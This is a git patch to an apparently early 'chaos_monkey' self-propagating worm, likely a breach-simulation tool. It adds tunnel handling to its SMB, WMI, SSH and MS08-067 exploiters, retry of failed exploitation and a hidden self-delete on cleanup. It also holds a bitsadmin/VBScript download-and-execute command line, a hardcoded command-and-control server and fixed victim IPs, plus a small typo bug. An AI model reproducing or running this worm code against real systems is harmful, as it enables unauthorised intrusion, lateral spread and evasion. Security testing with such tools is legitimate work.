From 6169f1f42ef82e2d66cd71877662988266f7b98f Mon Sep 17 00:00:00 2001 From: Barak Hoffer Date: Wed, 14 Oct 2015 17:22:05 +0300 Subject: [PATCH] added default tunnel is the exploiter added self delete on cleanup fixed argument parsing --- chaos_monkey/config.py | 16 +++++--- chaos_monkey/control.py | 4 +- chaos_monkey/exploit/smbexec.py | 3 ++ chaos_monkey/exploit/sshexec.py | 6 ++- chaos_monkey/exploit/win_ms08_067.py | 2 + chaos_monkey/exploit/wmiexec.py | 3 ++ chaos_monkey/main.py | 13 +++---- chaos_monkey/model/__init__.py | 1 + chaos_monkey/model/host.py | 1 + chaos_monkey/monkey.py | 55 +++++++++++++++++++++------- chaos_monkey/tunnel.py | 34 +++++++++++------ 11 files changed, 97 insertions(+), 41 deletions(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index 91fd948e4..27c6ed2c7 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -98,17 +98,19 @@ class Configuration(object): alive = True + self_delete_in_cleanup = True + singleton_mutex_name = "{2384ec59-0df8-4ab9-918c-843740924a28}" # how long to wait between scan iterations - timeout_between_iterations = 10 + timeout_between_iterations = 300 # how many scan iterations to perform on each run max_iterations = 3 scanner_class = TcpScanner - finger_classes = (PingScanner, SSHFinger, SMBFinger) - exploiter_classes = (SSHExploiter, SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter) + finger_classes = (SMBFinger, SSHFinger, PingScanner) + exploiter_classes = (SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, SSHExploiter) # how many victims to look for in a single scan iteration victims_max_find = 14 @@ -120,7 +122,9 @@ class Configuration(object): command_servers = ["russian-mail-brides.com:5000"] - serialize_config = True + serialize_config = False + + retry_failed_explotation = True ########################### ### scanners config @@ -130,10 +134,10 @@ class Configuration(object): #range_class = RelativeRange range_size = 8 range_class = FixedRange - range_fixed = ("10.0.0.9", "10.0.0.13", "192.168.1.87") + range_fixed = ("10.0.0.9", "10.0.0.13", "192.168.1.100", "192.168.1.95", "50.50.50.56", "50.50.50.4") # TCP Scanner - tcp_target_ports = [22, 445, 135, 3389] + tcp_target_ports = [22, 2222, 445, 135, 3389] tcp_scan_timeout = 3000 # 3000 Milliseconds tcp_scan_interval = 200 tcp_scan_get_banner = True diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py index b88e00325..103d3159a 100644 --- a/chaos_monkey/control.py +++ b/chaos_monkey/control.py @@ -23,7 +23,7 @@ class ControlClient(object): proxies = {} @staticmethod - def wakeup(parent=None): + def wakeup(parent=None, default_tunnel=None): for server in WormConfiguration.command_servers: try: hostname = gethostname() @@ -59,7 +59,7 @@ class ControlClient(object): if not WormConfiguration.current_server: if not ControlClient.proxies: LOG.info("Starting tunnel lookup...") - proxy_find = tunnel.find_tunnel() + proxy_find = tunnel.find_tunnel(default=default_tunnel) if proxy_find: LOG.info("Found tunnel at %s:%s" % proxy_find) ControlClient.proxies['https'] = 'https://%s:%s' % proxy_find diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index dfa903197..6146d21cc 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -102,6 +102,9 @@ class SmbExploiter(HostExploiter): else: cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path} + if host.default_tunnel: + cmdline += " -t " + host.default_tunnel + for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr, )) rpctransport.set_dport(port) diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index 70e0fb435..bb841e3b5 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -116,7 +116,11 @@ class SSHExploiter(HostExploiter): return False try: - cmdline = "%s %s&" % (self._config.dropper_target_path_linux, MONKEY_ARG) + cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) + if host.default_tunnel: + cmdline += " -t " + host.default_tunnel + + cmdline += "&" ssh.exec_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index 2e0a5cdff..2235c02dc 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -250,6 +250,8 @@ class Ms08_067_Exploiter(HostExploiter): else: cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} + if host.default_tunnel: + cmdline += " -t " + host.default_tunnel try: sock.send("start %s\r\n" % (cmdline, )) diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 089d035f8..60260c7b3 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -84,6 +84,9 @@ class WmiExploiter(HostExploiter): else: cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} + if host.default_tunnel: + cmdline += " -t " + host.default_tunnel + # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline, ntpath.split(remote_full_path)[0], diff --git a/chaos_monkey/main.py b/chaos_monkey/main.py index 8332312a2..2d1bf5299 100644 --- a/chaos_monkey/main.py +++ b/chaos_monkey/main.py @@ -1,4 +1,3 @@ - import os import sys import logging @@ -8,7 +7,7 @@ from config import WormConfiguration, EXTERNAL_CONFIG_FILE from model import MONKEY_ARG, DROPPER_ARG from dropper import MonkeyDrops from monkey import ChaosMonkey -import getopt +import argparse import json __author__ = 'itamar' @@ -44,11 +43,11 @@ def main(): config_file = EXTERNAL_CONFIG_FILE - opts, monkey_args = getopt.getopt(sys.argv[2:], "c:", ["config="]) - for op, val in opts: - if op in ("-c", "--config"): - config_file = val - break + arg_parser = argparse.ArgumentParser() + arg_parser.add_argument('-c', '--config') + opts, monkey_args = arg_parser.parse_known_args(sys.argv[2:]) + if opts.config: + config_file = ops.config if os.path.isfile(config_file): # using print because config can also change log locations diff --git a/chaos_monkey/model/__init__.py b/chaos_monkey/model/__init__.py index c2e90e91c..18bbd8b43 100644 --- a/chaos_monkey/model/__init__.py +++ b/chaos_monkey/model/__init__.py @@ -9,5 +9,6 @@ MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_AR MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) +DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' from host import VictimHost \ No newline at end of file diff --git a/chaos_monkey/model/host.py b/chaos_monkey/model/host.py index e3efdfc7b..34ffeb69d 100644 --- a/chaos_monkey/model/host.py +++ b/chaos_monkey/model/host.py @@ -7,6 +7,7 @@ class VictimHost(object): self.os = {} self.services = {} self.monkey_exe = None + self.default_tunnel = None def as_dict(self): return self.__dict__ diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index 534716afe..34314e1ee 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -1,5 +1,5 @@ - import sys +import os import time import logging import platform @@ -9,7 +9,9 @@ from control import ControlClient from config import WormConfiguration, EXTERNAL_CONFIG_FILE from network.network_scanner import NetworkScanner import tunnel -import getopt +import argparse +import subprocess +from model import DELAY_DELETE_CMD __author__ = 'itamar' @@ -31,6 +33,7 @@ class ChaosMonkey(object): self._fail_exploitation_machines = set() self._singleton = SystemSingleton() self._parent = None + self._default_tunnel = None self._args = args def initialize(self): @@ -39,12 +42,13 @@ class ChaosMonkey(object): if not self._singleton.try_lock(): raise Exception("Another instance of the monkey is already running") - opts, self._args = getopt.getopt(self._args, "p:", ["parent="]) - for op, val in opts: - if op in ("-p", "--parent"): - self._parent = val - break - + arg_parser = argparse.ArgumentParser() + arg_parser.add_argument('-p', '--parent') + arg_parser.add_argument('-t', '--tunnel') + opts, self._args = arg_parser.parse_known_args(self._args) + + self._parent = opts.parent + self._default_tunnel = opts.tunnel self._keep_running = True self._network = NetworkScanner() self._dropper_path = sys.argv[0] @@ -56,7 +60,7 @@ class ChaosMonkey(object): if firewall.is_enabled(): firewall.add_firewall_rule() - ControlClient.wakeup(self._parent) + ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: @@ -93,11 +97,19 @@ class ChaosMonkey(object): machine) continue elif machine in self._fail_exploitation_machines: - LOG.debug("Skipping %r - exploitation failed before", - machine) - continue + if WormConfiguration.retry_failed_explotation: + LOG.debug("%r - exploitation failed before, trying again", + machine) + else: + LOG.debug("Skipping %r - exploitation failed before", + machine) + continue successful_exploiter = None + + if monkey_tunnel: + monkey_tunnel.set_tunnel_for_host(machine) + for exploiter in self._exploiters: if not exploiter.is_os_supported(machine): LOG.info("Skipping exploiter %s host:%r, os is not supported", @@ -139,8 +151,10 @@ class ChaosMonkey(object): time.sleep(WormConfiguration.timeout_between_iterations) - if self._keep_running: + if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) + elif not WormConfiguration.alive: + LOG.info("Marked not alive from configuration") if monkey_tunnel: monkey_tunnel.stop() @@ -157,3 +171,18 @@ class ChaosMonkey(object): tunnel.quit_tunnel(tunnel_address) firewall.close() + + if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'): + try: + if "win32" == sys.platform: + from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE + startupinfo = subprocess.STARTUPINFO() + startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW + startupinfo.wShowWindow = SW_HIDE + subprocess.Popen(DELAY_DELETE_CMD % {'file_path' : sys.executable}, + stdin=None, stdout=None, stderr=None, + close_fds=True, startupinfo=startupinfo) + else: + os.remove(sys.executable) + except Exception, exc: + LOG.error("Exception in self delete: %s",exc) diff --git a/chaos_monkey/tunnel.py b/chaos_monkey/tunnel.py index 7230232eb..d3d17f5f0 100644 --- a/chaos_monkey/tunnel.py +++ b/chaos_monkey/tunnel.py @@ -6,6 +6,7 @@ from network.info import local_ips, get_free_tcp_port from network.firewall import app as firewall from difflib import get_close_matches from network.tools import check_port_tcp +from model import VictimHost import time __author__ = 'hoffer' @@ -29,7 +30,7 @@ def _set_multicast_socket(timeout=DEFAULT_TIMEOUT): return sock -def find_tunnel(attempts=3, timeout=DEFAULT_TIMEOUT): +def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT): sock = _set_multicast_socket(timeout) l_ips = local_ips() @@ -38,6 +39,8 @@ def find_tunnel(attempts=3, timeout=DEFAULT_TIMEOUT): try: sock.sendto("?", (MCAST_GROUP, MCAST_PORT)) tunnels = [] + if default: + tunnels.append(default) while True: try: @@ -52,17 +55,18 @@ def find_tunnel(attempts=3, timeout=DEFAULT_TIMEOUT): address, port = tunnel.split(':', 1) if address in l_ips: continue - - LOG.debug("Checking tunnel %s:%d" % (address, port)) + + LOG.debug("Checking tunnel %s:%s", address, port) is_open,_ = check_port_tcp(address, int(port)) if not is_open: - LOG.debug("Could not connect to %s:%d" % (address, port)) + LOG.debug("Could not connect to %s:%s", address, port) continue sock.sendto("+", (address, MCAST_PORT)) sock.close() return (address, port) - except: + except Exception, exc: + LOG.debug("Caught exception in tunnel lookup: %s", exc) continue return None @@ -87,6 +91,7 @@ class MonkeyTunnel(Thread): self._timeout = timeout self._stopped = False self._clients = [] + self.local_port = None super(MonkeyTunnel, self).__init__() self.daemon = True @@ -95,17 +100,17 @@ class MonkeyTunnel(Thread): l_ips = local_ips() - local_port = get_free_tcp_port() + self.local_port = get_free_tcp_port() - if not local_port: + if not self.local_port: return - if not firewall.listen_allowed(localport=local_port): + if not firewall.listen_allowed(localport=self.local_port): LOG.info("Machine firewalled, listen not allowed, not running tunnel.") return - proxy = self._proxy_class(local_port=local_port, dest_host=self._target_addr, dest_port=self._target_port) - LOG.info("Running tunnel using proxy class: %s, on port %s", proxy.__class__.__name__, local_port) + proxy = self._proxy_class(local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port) + LOG.info("Running tunnel using proxy class: %s, on port %s", proxy.__class__.__name__, self.local_port) proxy.start() while not self._stopped: @@ -114,9 +119,9 @@ class MonkeyTunnel(Thread): if '?' == search: ip_match = get_close_matches(address[0], l_ips) or l_ips if ip_match: - answer = '%s:%d' % (ip_match[0], local_port) + answer = '%s:%d' % (ip_match[0], self.local_port) LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer) - self._broad_sock.sendto(answer, (MCAST_GROUP, MCAST_PORT)) + self._broad_sock.sendto(answer, (address[0], MCAST_PORT)) elif '+' == search: if not address[0] in self._clients: self._clients.append(address[0]) @@ -140,5 +145,10 @@ class MonkeyTunnel(Thread): proxy.stop() proxy.join() + def set_tunnel_for_host(self, host): + assert isinstance(host, VictimHost) + ip_match = get_close_matches(host.ip_addr, local_ips()) or l_ips + host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port) + def stop(self): self._stopped = True \ No newline at end of file